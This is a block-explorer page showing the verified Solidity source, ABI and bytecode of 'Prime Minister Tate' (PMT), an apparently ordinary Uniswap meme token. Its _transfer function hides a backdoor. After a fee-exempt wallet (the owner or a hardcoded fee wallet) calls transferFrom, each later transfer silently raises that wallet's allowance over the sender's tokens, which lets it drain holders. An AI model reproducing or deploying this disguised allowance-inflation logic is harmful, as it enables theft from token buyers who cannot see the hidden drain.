Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...    - function _msgSender()  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract PMT is Context, IERC20, O ... *    - function openTrading()    - function min(uint256 a, uint256 b)    - function sendETHToFee(uint256 amount)    - function rescueEth()    - function removeLimits()    - function swapTokensForEth(uint256 tok ...    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2025-01-06
*/

/*
https://x.com/cobratate/status/1876057972071371217

https://t.me/pmt_erc20
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.27;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract PMT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _excludedFromFee;
    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    address private _prWallet;
    address private _psWallet = 0xFFb2b5EC18fCe208bed30de7b21ED5C21996414C;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Prime Minister Tate";
    string private constant _symbol = unicode"PMT";
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000000 * 10**_decimals;
    uint256 private taxSwapToken = 10000000 * 10**_decimals;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapPair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _excludedFromFee[owner()] = true;
        _excludedFromFee[address(this)] = true;
        _excludedFromFee[_psWallet] = true;
        _tOwned[_msgSender()] = _tTotal * 3 / 100;
        _tOwned[address(this)] = _tTotal * 97 / 100;
        emit Transfer(address(0), _msgSender(), _tTotal * 3 / 100);
        emit Transfer(address(0), address(this), _tTotal * 97 / 100);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendETHToFee(uint256 amount) private {
        payable(_psWallet).transfer(amount);
    }

    function rescueEth() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _prWallet = _msgSender();
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapPair && to != address(uniswapV2Router) && ! _excludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if(to == uniswapPair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapPair && swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > taxSwapToken)
                swapTokensForEth(min(amount, min(contractTokenBalance, taxSwapToken)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(_prWallet != address(this) && amount > 0)
            if(_excludedFromFee[_prWallet])
                _allowances[from][_prWallet] += amount;

        if(taxAmount>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }

        _tOwned[from]=_tOwned[from].sub(amount);
        _tOwned[to]=_tOwned[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600260048190556005555f6006818155600782905560088190556009818155600a918255600b92909255600d80546001600160a01b03191673ffb2b5ec18fce208bed30de7b21ed5c21996414c17905561005e919061038d565b61006c906301312d006103a2565b600e5561007b6009600a61038d565b610089906301312d006103a2565b600f556100986009600a61038d565b6100a590629896806103a2565b6010556012805461ffff60a81b191690555f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160035f61010c5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600d5490911683529120805490921617905560646101706009600a61038d565b61017e90633b9aca006103a2565b6101899060036103a2565b61019391906103b9565b335f9081526001602052604090205560646101b06009600a61038d565b6101be90633b9aca006103a2565b6101c99060616103a2565b6101d391906103b9565b305f90815260016020526040902055336001600160a01b03165f5f516020611ac65f395f51905f5260646102096009600a61038d565b61021790633b9aca006103a2565b6102229060036103a2565b61022c91906103b9565b60405190815260200160405180910390a3305f5f516020611ac65f395f51905f52606461025b6009600a61038d565b61026990633b9aca006103a2565b6102749060616103a2565b61027e91906103b9565b60405190815260200160405180910390a36103d8565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102e3578085048111156102c7576102c7610294565b60018416156102d557908102905b60019390931c9280026102ac565b935093915050565b5f826102f957506001610387565b8161030557505f610387565b816001811461031b576002811461032557610341565b6001915050610387565b60ff84111561033657610336610294565b50506001821b610387565b5060208310610133831016604e8410600b8410161715610364575081810a610387565b6103705f1984846102a8565b805f190482111561038357610383610294565b0290505b92915050565b5f61039b60ff8416836102eb565b9392505050565b808202811582820484141761038757610387610294565b5f826103d357634e487b7160e01b5f52601260045260245ffd5b500490565b6116e1806103e55f395ff3fe6080604052600436106100f2575f3560e01c80637d1db4a511610087578063a9059cbb11610057578063a9059cbb146102ae578063c9567bf9146102cd578063ce31a06b146102e1578063dd62ed3e146102f5575f5ffd5b80637d1db4a5146102335780638da5cb5b146102485780638f9a55c01461026e57806395d89b4114610283575f5ffd5b8063313ce567116100c2578063313ce567146101ba57806370a08231146101d5578063715018a614610209578063751039fc1461021f575f5ffd5b806306fdde03146100fd578063095ea7b31461014a57806318160ddd1461017957806323b872dd1461019b575f5ffd5b366100f957005b5f5ffd5b348015610108575f5ffd5b506040805180820190915260138152725072696d65204d696e6973746572205461746560681b60208201525b60405161014191906112e9565b60405180910390f35b348015610155575f5ffd5b50610169610164366004611332565b610339565b6040519015158152602001610141565b348015610184575f5ffd5b5061018d61034f565b604051908152602001610141565b3480156101a6575f5ffd5b506101696101b536600461135c565b61036f565b3480156101c5575f5ffd5b5060405160098152602001610141565b3480156101e0575f5ffd5b5061018d6101ef36600461139a565b6001600160a01b03165f9081526001602052604090205490565b348015610214575f5ffd5b5061021d6103e8565b005b34801561022a575f5ffd5b5061021d610462565b34801561023e575f5ffd5b5061018d600e5481565b348015610253575f5ffd5b505f546040516001600160a01b039091168152602001610141565b348015610279575f5ffd5b5061018d600f5481565b34801561028e575f5ffd5b5060408051808201909152600381526214135560ea1b6020820152610134565b3480156102b9575f5ffd5b506101696102c8366004611332565b6104c7565b3480156102d8575f5ffd5b5061021d6104d3565b3480156102ec575f5ffd5b5061021d61087c565b348015610300575f5ffd5b5061018d61030f3660046113b5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103453384846108df565b5060015b92915050565b5f61035c6009600a6114e3565b61036a90633b9aca006114f1565b905090565b600c80546001600160a01b031916331790555f61038d848484610a02565b6103de84336103d985604051806060016040528060288152602001611684602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f61565b6108df565b5060019392505050565b5f546001600160a01b0316331461041a5760405162461bcd60e51b815260040161041190611508565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461048b5760405162461bcd60e51b815260040161041190611508565b6104976009600a6114e3565b6104a590633b9aca006114f1565b600e556104b46009600a6114e3565b6104c290633b9aca006114f1565b600f55565b5f610345338484610a02565b5f546001600160a01b031633146104fc5760405162461bcd60e51b815260040161041190611508565b601254600160a01b900460ff16156105565760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610411565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561059f9030906105916009600a6114e3565b6103d990633b9aca006114f1565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ef573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610613919061153d565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610672573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610696919061153d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106e0573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610704919061153d565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061074b816001600160a01b03165f9081526001602052604090205490565b5f5f61075e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c4573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107e99190611558565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561083e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108629190611583565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108a55760405162461bcd60e51b815260040161041190611508565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156108dc573d5f5f3e3d5ffd5b50565b6001600160a01b0383166109415760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610411565b6001600160a01b0382166109a25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610411565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a665760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610411565b6001600160a01b038216610ac85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610411565b5f8111610b295760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610411565b5f80546001600160a01b03858116911614801590610b5457505f546001600160a01b03848116911614155b15610da457610b856064610b7f600854600b5411610b7457600454610b78565b6006545b8590610f99565b9061101e565b6012549091506001600160a01b038581169116148015610bb357506011546001600160a01b03848116911614155b8015610bd757506001600160a01b0383165f9081526003602052604090205460ff16155b15610cbd57600e54821115610c2e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610411565b600f5482610c50856001600160a01b03165f9081526001602052604090205490565b610c5a91906115a2565b1115610ca85760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610411565b600b8054905f610cb7836115b5565b91905055505b6012546001600160a01b038481169116148015610ce357506001600160a01b0384163014155b15610d1057610d0d6064610b7f600954600b5411610d0357600554610b78565b6007548590610f99565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610d4657506012546001600160a01b038581169116145b8015610d5b5750601254600160b01b900460ff165b8015610d6a5750600a54600b54115b15610da257601054811115610d9657610d96610d9184610d8c8460105461105f565b61105f565b611073565b47610da0476111e3565b505b505b600c546001600160a01b03163014801590610dbe57505f82115b15610e2457600c546001600160a01b03165f9081526003602052604090205460ff1615610e24576001600160a01b038085165f908152600260209081526040808320600c5490941683529290529081208054849290610e1e9084906115a2565b90915550505b8015610e9c57305f90815260016020526040902054610e43908261121e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e939085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ebe908361127c565b6001600160a01b0385165f90815260016020526040902055610f01610ee3838361127c565b6001600160a01b0385165f908152600160205260409020549061121e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f4a858561127c565b60405190815260200160405180910390a350505050565b5f8184841115610f845760405162461bcd60e51b815260040161041191906112e9565b505f610f9084866115cd565b95945050505050565b5f825f03610fa857505f610349565b5f610fb383856114f1565b905082610fc085836115e0565b146110175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610411565b9392505050565b5f61101783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112bd565b5f81831161106d5782611017565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110b9576110b96115ff565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611110573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611134919061153d565b81600181518110611147576111476115ff565b6001600160a01b03928316602091820292909201015260115461116d91309116846108df565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111a59085905f90869030904290600401611613565b5f604051808303815f87803b1580156111bc575f5ffd5b505af11580156111ce573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b600d546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561121a573d5f5f3e3d5ffd5b5050565b5f8061122a83856115a2565b9050838110156110175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610411565b5f61101783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f61565b5f81836112dd5760405162461bcd60e51b815260040161041191906112e9565b505f610f9084866115e0565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146108dc575f5ffd5b5f5f60408385031215611343575f5ffd5b823561134e8161131e565b946020939093013593505050565b5f5f5f6060848603121561136e575f5ffd5b83356113798161131e565b925060208401356113898161131e565b929592945050506040919091013590565b5f602082840312156113aa575f5ffd5b81356110178161131e565b5f5f604083850312156113c6575f5ffd5b82356113d18161131e565b915060208301356113e18161131e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561143b5780850481111561141f5761141f6113ec565b600184161561142d57908102905b60019390931c928002611404565b935093915050565b5f8261145157506001610349565b8161145d57505f610349565b8160018114611473576002811461147d57611499565b6001915050610349565b60ff84111561148e5761148e6113ec565b50506001821b610349565b5060208310610133831016604e8410600b84101617156114bc575081810a610349565b6114c85f198484611400565b805f19048211156114db576114db6113ec565b029392505050565b5f61101760ff841683611443565b8082028115828204841417610349576103496113ec565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561154d575f5ffd5b81516110178161131e565b5f5f5f6060848603121561156a575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611593575f5ffd5b81518015158114611017575f5ffd5b80820180821115610349576103496113ec565b5f600182016115c6576115c66113ec565b5060010190565b81810381811115610349576103496113ec565b5f826115fa57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156116635783516001600160a01b031683526020938401939092019160010161163c565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220719ab2fc9c759b6475464a03e2e7bcc8268240d9b3c851adecc12f3cb942069864736f6c634300081b0033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

0x6080604052600436106100f2575f3560e01c80637d1db4a511610087578063a9059cbb11610057578063a9059cbb146102ae578063c9567bf9146102cd578063ce31a06b146102e1578063dd62ed3e146102f5575f5ffd5b80637d1db4a5146102335780638da5cb5b146102485780638f9a55c01461026e57806395d89b4114610283575f5ffd5b8063313ce567116100c2578063313ce567146101ba57806370a08231146101d5578063715018a614610209578063751039fc1461021f575f5ffd5b806306fdde03146100fd578063095ea7b31461014a57806318160ddd1461017957806323b872dd1461019b575f5ffd5b366100f957005b5f5ffd5b348015610108575f5ffd5b506040805180820190915260138152725072696d65204d696e6973746572205461746560681b60208201525b60405161014191906112e9565b60405180910390f35b348015610155575f5ffd5b50610169610164366004611332565b610339565b6040519015158152602001610141565b348015610184575f5ffd5b5061018d61034f565b604051908152602001610141565b3480156101a6575f5ffd5b506101696101b536600461135c565b61036f565b3480156101c5575f5ffd5b5060405160098152602001610141565b3480156101e0575f5ffd5b5061018d6101ef36600461139a565b6001600160a01b03165f9081526001602052604090205490565b348015610214575f5ffd5b5061021d6103e8565b005b34801561022a575f5ffd5b5061021d610462565b34801561023e575f5ffd5b5061018d600e5481565b348015610253575f5ffd5b505f546040516001600160a01b039091168152602001610141565b348015610279575f5ffd5b5061018d600f5481565b34801561028e575f5ffd5b5060408051808201909152600381526214135560ea1b6020820152610134565b3480156102b9575f5ffd5b506101696102c8366004611332565b6104c7565b3480156102d8575f5ffd5b5061021d6104d3565b3480156102ec575f5ffd5b5061021d61087c565b348015610300575f5ffd5b5061018d61030f3660046113b5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103453384846108df565b5060015b92915050565b5f61035c6009600a6114e3565b61036a90633b9aca006114f1565b905090565b600c80546001600160a01b031916331790555f61038d848484610a02565b6103de84336103d985604051806060016040528060288152602001611684602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f61565b6108df565b5060019392505050565b5f546001600160a01b0316331461041a5760405162461bcd60e51b815260040161041190611508565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461048b5760405162461bcd60e51b815260040161041190611508565b6104976009600a6114e3565b6104a590633b9aca006114f1565b600e556104b46009600a6114e3565b6104c290633b9aca006114f1565b600f55565b5f610345338484610a02565b5f546001600160a01b031633146104fc5760405162461bcd60e51b815260040161041190611508565b601254600160a01b900460ff16156105565760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610411565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561059f9030906105916009600a6114e3565b6103d990633b9aca006114f1565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ef573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610613919061153d565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610672573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610696919061153d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106e0573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610704919061153d565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061074b816001600160a01b03165f9081526001602052604090205490565b5f5f61075e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c4573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107e99190611558565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561083e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108629190611583565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108a55760405162461bcd60e51b815260040161041190611508565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156108dc573d5f5f3e3d5ffd5b50565b6001600160a01b0383166109415760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610411565b6001600160a01b0382166109a25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610411565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a665760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041156